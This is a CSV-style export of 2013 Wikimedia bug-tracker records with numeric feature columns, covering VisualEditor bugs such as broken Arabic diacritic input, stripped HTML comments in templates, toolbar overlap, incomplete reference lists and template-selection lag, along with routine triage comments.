https://bugzilla.wikimedia.org/show_bug.cgi?id=50631",High,80.0,1372087860,1377202348.0,PHID-USER-ttyyrgsrkyonct7hizgv,True,,False,PHID-TASK-pg6duwir2q65ub4iepr6,task_description,resolved,True,c1,2,False,False,True,-1,,1.5,0.0,1.0,1.0,0.0,5.0,0.5,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,3.5,1.0,5.5,5.0,0.0,1.5,0.0,0.5,0.0,1.0,0.5,0.0,0.0,1.0,0.0,0.0,3.5,1.5,2.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,1.0,0.0,0.0,0.0,0.0,10.5,0.0,0.0,0.0,0.0,0.0,0.5,0.0,1.5,1.0,0.0,1.0,1.0,0.0,0.5,0.5,0.0,0.0,4.0,2.5,11.5,1.0,2.5,5.0,0.0,0.0,0.0,0.0,3.0,0.5,0.0,0.0,5.5,5.0,1.5,1.0,1.5,0.0,5.5,0.0,1.0,1.0,1.0,2.5,0.0,0.0,1.0,3.5355862775217615,0.7514080901177675,"From URL

""Hi. I have been using the visual editor for a while on ar Wikipedia, it is very nice and smooth for fast edits. However, I am facing a very strange problem when I need to add some Arabic diacritics known as tashkil; when I press shift+diacritic button (like x, e, or z) the letter I pressed starts to repeat itself endlessly, and it can only be stopped by refreshing the page and wasting the work I have did. Any thoughts?""

--------------------------
**Version**: unspecified
**Severity**: major
**See Also**:
URL"
244876,VisualEditor: IME shift+ function for adding diacritical marks in Arabic broken,"Given that this is now merged, I'm going to mark this as fixed. However, this is provisional - please re-open if you think that this has not worked!",,,1377202348,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-pg6duwir2q65ub4iepr6,task_subcomment,,True,c1,3,True,,,7,,0.0,0.0,0.0,3.0,3.0,6.0,3.0,0.0,0.0,3.0,6.0,3.0,0.0,0.0,0.0,3.0,0.0,9.0,17.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,3.0,3.0,9.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,9.0,9.0,0.0,11.0,0.0,0.0,3.0,0.0,6.0,3.0,0.0,0.0,6.0,17.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.4571428571428573,0.8,"Given that this is now merged, I'm going to mark this as fixed. However, this is provisional - please re-open if you think that this has not worked!"
244867,VisualEditor: IME shift+ function for adding diacritical marks in Arabic broken,"Change 80080 merged by jenkins-bot:
Don't emit Surface changes back to the Surface

https://gerrit.wikimedia.org/r/80080",,,1377164920,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-pg6duwir2q65ub4iepr6,task_subcomment,,True,c1,3,False,,,7,,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,25.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,10.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.15,0.95,"Change 80080 merged by jenkins-bot:
Don't emit Surface changes back to the Surface

GERRIT_URL"
244860,VisualEditor: IME shift+ function for adding diacritical marks in Arabic broken,"**aaddira** wrote:

Thank you. I have tested all possible diacritics on Arabic Wikipedia and everything is working great. Good job!",,,1377037457,,PHID-USER-ynivjflmc2dcl6w5ut5v,True,,,PHID-TASK-pg6duwir2q65ub4iepr6,task_subcomment,,True,c1,3,False,,,7,,3.0,3.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,17.0,0.0,3.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,7.0,3.0,14.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.896551724137931,0.8620689655172413,"**aaddira** wrote:

Thank you. I have tested all possible diacritics on Arabic Wikipedia and everything is working great. Good job!"
244852,VisualEditor: IME shift+ function for adding diacritical marks in Arabic broken,"Change 80080 had a related patch set uploaded by Jforrester:
WIP:Don't emit Surface changes back to the Surface

https://gerrit.wikimedia.org/r/80080",,,1377027676,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-pg6duwir2q65ub4iepr6,task_subcomment,,True,c1,3,False,,,7,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,29.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,8.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.458333333333333,0.9166666666666666,"Change 80080 had a related patch set uploaded by Jforrester:
WIP:Don't emit Surface changes back to the Surface

GERRIT_URL"
244845,VisualEditor: IME shift+ function for adding diacritical marks in Arabic broken,"I think this may be resolved by the following patch:
https://gerrit.wikimedia.org/r/#/c/79451 . It fixes similar bugs in other scripts with similar properties.

If it's still broken, is it possible to give a specific example of:

1. A piece of Arabic text where VisualEditor fails
2. The keystrokes required to enter the text
3. The incorrect output observed in VisualEditor
4. The OS, browser and input method used.

Thanks!",,,1376936389,,PHID-USER-lliyevigiycjbybglftk,True,,,PHID-TASK-pg6duwir2q65ub4iepr6,task_subcomment,,True,c1,3,False,,,7,,0.0,0.0,0.0,1.0,0.0,8.0,0.0,0.0,0.0,1.0,2.0,0.0,0.0,0.0,0.0,1.0,0.0,2.0,10.0,0.0,2.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,6.0,2.0,3.0,0.0,0.0,0.0,0.0,1.0,2.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,17.0,1.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,1.0,0.0,0.0,8.0,2.0,15.0,2.0,1.0,9.0,0.0,0.0,1.0,0.0,3.0,0.0,3.0,0.0,5.0,10.0,3.0,0.0,0.0,0.0,5.0,0.0,1.0,2.0,0.0,1.0,0.0,0.0,1.0,3.7701149425287355,0.735632183908046,"I think this may be resolved by the following patch:
URL . It fixes similar bugs in other scripts with similar properties.

If it's still broken, is it possible to give a specific example of:

1. A piece of Arabic text where VisualEditor fails
2. The keystrokes required to enter the text
3. The incorrect output observed in VisualEditor
4. The OS, browser and input method used.

Thanks!"
244838,VisualEditor: IME shift+ function for adding diacritical marks in Arabic broken,"(In reply to comment #2)
> Thanks James - first bug report.

No worries. :-) Welcome to the party.",,,1372090765,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-pg6duwir2q65ub4iepr6,task_subcomment,,True,c1,2,True,,,-1,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,20.0,0.0,0.0,10.0,0.0,5.0,0.0,5.0,5.0,5.0,5.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.95,0.9,"(In reply to comment #2)
QUOTE

No worries. :-) Welcome to the party."
244833,VisualEditor: IME shift+ function for adding diacritical marks in Arabic broken,Thanks James - first bug report.,,,1372090521,,PHID-USER-ttyyrgsrkyonct7hizgv,True,,,PHID-TASK-pg6duwir2q65ub4iepr6,task_subcomment,,True,c1,2,False,,,-1,,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,43.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.857142857142857,1.0,Thanks James - first bug report.
244827,VisualEditor: IME shift+ function for adding diacritical marks in Arabic broken,"Bumping priority, moving module, assigning, slight rewording; note that we can't fix things in the past (;-)), so setting to next week's deployment deadline.",,,1372090412,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-pg6duwir2q65ub4iepr6,task_subcomment,,True,c1,2,True,,,-1,,0.0,0.0,0.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,6.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,3.0,9.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,3.9411764705882355,0.9117647058823529,"Bumping priority, moving module, assigning, slight rewording; note that we can't fix things in the past (;-)), so setting to next week's deployment deadline."
52102,VisualEditor: HTML comments being removed inside templates,"https://en.wikipedia.org/w/index.php?title=Jason_Bateman&curid=685922&diff=561337061&oldid=559944750

https://en.wikipedia.org/w/index.php?title=David_Stewart_(photographer)&curid=24365669&diff=561336970&oldid=529664374

--------------------------
**Version**: unspecified
**Severity**: normal",High,80.0,1372086120,1373851510.0,PHID-USER-hyfm4swq76s4j642w46x,False,,False,PHID-TASK-gqjhk4wjp2xx3zlksb5g,task_description,resolved,True,c1,2,False,False,True,-1,,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.8095238095238093,0.47619047619047616,"URL

URL

--------------------------
**Version**: unspecified
**Severity**: normal"
244703,VisualEditor: HTML comments being removed inside templates,"Confirmed that this indeed now fixed, now that everyone's caches have rotated.",,,1373851510,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-gqjhk4wjp2xx3zlksb5g,task_subcomment,,True,c1,3,True,,,2,,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,20.0,13.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,13.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.466666666666667,0.8666666666666667,"Confirmed that this indeed now fixed, now that everyone's caches have rotated."
244696,VisualEditor: HTML comments being removed inside templates,"comment 1 is an example that is not fixed by bug 50071, and im still seeing the problem occur.

https://en.wikipedia.org/w/index.php?title=Republic_of_Texas&diff=562971813&oldid=562786837",,,1373029845,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-gqjhk4wjp2xx3zlksb5g,task_subcomment,,True,c1,3,False,,,0,,0.0,0.0,0.0,4.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,8.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,4.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,8.0,8.0,4.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,8.0,0.0,4.0,4.0,4.0,0.0,0.0,0.0,4.0,0.0,4.0,4.0,0.0,4.0,0.0,0.0,0.0,3.375,0.9583333333333334,"comment 1 is an example that is not fixed by bug 50071, and im still seeing the problem occur.

URL"
244691,VisualEditor: HTML comments being removed inside templates,"

*** This bug has been marked as a duplicate of bug 50071 ***",,,1372113547,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-gqjhk4wjp2xx3zlksb5g,task_subcomment,,True,c1,2,True,,,-1,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7777777777777777,0.6666666666666666,"

*** This bug has been marked as a duplicate of bug 50071 ***"
244685,VisualEditor: HTML comments being removed inside templates,https://en.wikipedia.org/w/index.php?title=Paul_Evans_(footballer_born_1973)&curid=15575267&diff=561390930&oldid=561390588,,,1372096563,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-gqjhk4wjp2xx3zlksb5g,task_subcomment,,True,c1,2,False,,,-1,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,URL
52096,"VisualEditor: Templates' phantoms can overlap the toolbar, hindering saving/etc.","Screenshot

See screenshot; this is still happening as of [timestamp of this bug]. The VE interprets a click on 'save page' to be an attempt to interact with the infobox.

--------------------------
**Version**: unspecified
**Severity**: minor
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=49059

**Attached**: {F11515}",High,80.0,1372081680,1372205712.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-zhyimecjptsrsi7gj65o,task_description,resolved,True,c1,2,False,False,True,-1,,0.0,0.0,0.0,0.0,0.0,3.0,1.0,0.0,0.0,0.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,9.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,3.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,14.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,5.0,3.0,14.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,9.0,4.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,1.0,0.0,0.0,1.0,3.3289473684210527,0.618421052631579,"Screenshot

See screenshot; this is still happening as of [timestamp of this bug]. The VE interprets a click on 'save page' to be an attempt to interact with the infobox.

--------------------------
**Version**: unspecified
**Severity**: minor
**See Also**:
URL

**Attached**: {F11515}"
244281,"VisualEditor: Templates' phantoms can overlap the toolbar, hindering saving/etc.","**orbit** wrote:

This is fixed now in master.",,,1372205712,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-zhyimecjptsrsi7gj65o,task_subcomment,,True,c1,2,False,,,-1,,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.6666666666666665,0.8,"**orbit** wrote:

This is fixed now in master."
244276,"VisualEditor: Templates' phantoms can overlap the toolbar, hindering saving/etc.","Created attachment 12625
Screenshot of blue phantom overlapping save dialog using VisualEditor on the English Wikipedia, 2013-06-24

Confirmed.

**Attached**: {F11517}",,,1372100654,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-zhyimecjptsrsi7gj65o,task_subcomment,,True,c1,2,False,,,-1,,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,22.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,6.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,4.194444444444445,0.8611111111111112,"Created attachment 12625
Screenshot of blue phantom overlapping save dialog using VisualEditor on the English Wikipedia, 2013-06-24

Confirmed.

**Attached**: {F11517}"
52094,VisualEditor: Reflist sometimes not fully being populated,"Compare the references section of https://en.wikipedia.org/wiki/A_Slight_at_the_Opera in read and edit mode.

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=52371",High,80.0,1372080180,1375381775.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-gww3sadaua5hd4aa5mxy,task_description,resolved,True,c1,2,False,False,True,-1,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,18.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.475,0.575,"Compare the references section of URL in read and edit mode.

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
URL"
244193,VisualEditor: Reflist sometimes not fully being populated,"No, this bug was fixed; I think that that's a different issue. Splitting.",,,1375381775,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-gww3sadaua5hd4aa5mxy,task_subcomment,,True,c1,3,True,,,4,,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,11.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,17.0,6.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,3.388888888888889,0.8888888888888888,"No, this bug was fixed; I think that that's a different issue. Splitting."
244186,VisualEditor: Reflist sometimes not fully being populated,%%%*** Bug 52371 has been marked as a duplicate of this bug. ***%%%,,,1375381498,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-gww3sadaua5hd4aa5mxy,task_subcomment,,True,c1,3,False,,,4,,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,4.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,25.0,4.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,2.2916666666666665,0.5833333333333334,%%%*** Bug 52371 has been marked as a duplicate of this bug. ***%%%
244179,VisualEditor: Reflist sometimes not fully being populated,Reopening; see bug 52371 for an example of this still happening.,,,1375381485,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-gww3sadaua5hd4aa5mxy,task_subcomment,,True,c1,3,False,,,4,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,15.0,0.0,0.0,0.0,4.153846153846154,1.0,Reopening; see bug 52371 for an example of this still happening.
244173,VisualEditor: Reflist sometimes not fully being populated,This was fixed in the re-working of references last week; marking as fixed.,,,1375381274,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-gww3sadaua5hd4aa5mxy,task_subcomment,,True,c1,3,True,,,4,,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,3.7058823529411766,0.9411764705882353,This was fixed in the re-working of references last week; marking as fixed.
244169,VisualEditor: Reflist sometimes not fully being populated,"I can't reproduce this using the example above now, even looking at the version that was live when the comment was left. I see four references in both read and edit modes.",,,1375340495,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-gww3sadaua5hd4aa5mxy,task_subcomment,,True,c1,3,False,,,4,,0.0,0.0,0.0,3.0,3.0,3.0,3.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,6.0,0.0,11.0,8.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,0.0,3.0,0.0,0.0,0.0,3.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,6.0,0.0,3.0,0.0,3.0,0.0,14.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,8.0,6.0,6.0,3.0,3.0,14.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,6.0,8.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,3.888888888888889,0.8611111111111112,"I can't reproduce this using the example above now, even looking at the version that was live when the comment was left. I see four references in both read and edit modes."
52084,VisualEditor: Lag when selecting complex templates (especially in big pages),"(from bug 49922 comment 1)

VE is slow at selecting templates and transclusions in big pages.

For example: [[World War II]]:

 - attempt to select infobox by clicking on it: takes ~3 seconds in 
   Firefox 21 and Chrome 27, with no visual indication that anything
   is happening during the wait

 - attempt to select the reflist by clicking on it: just hangs in Firefox
   and Chrome, never actually seems to happen

This either needs to be sped up, or fail more gracefully.

In IE10, this is not such a problem \o/ - lag is actually less, and the reflist can be selected (takes about 22 seconds).

--------------------------
**Version**: unspecified
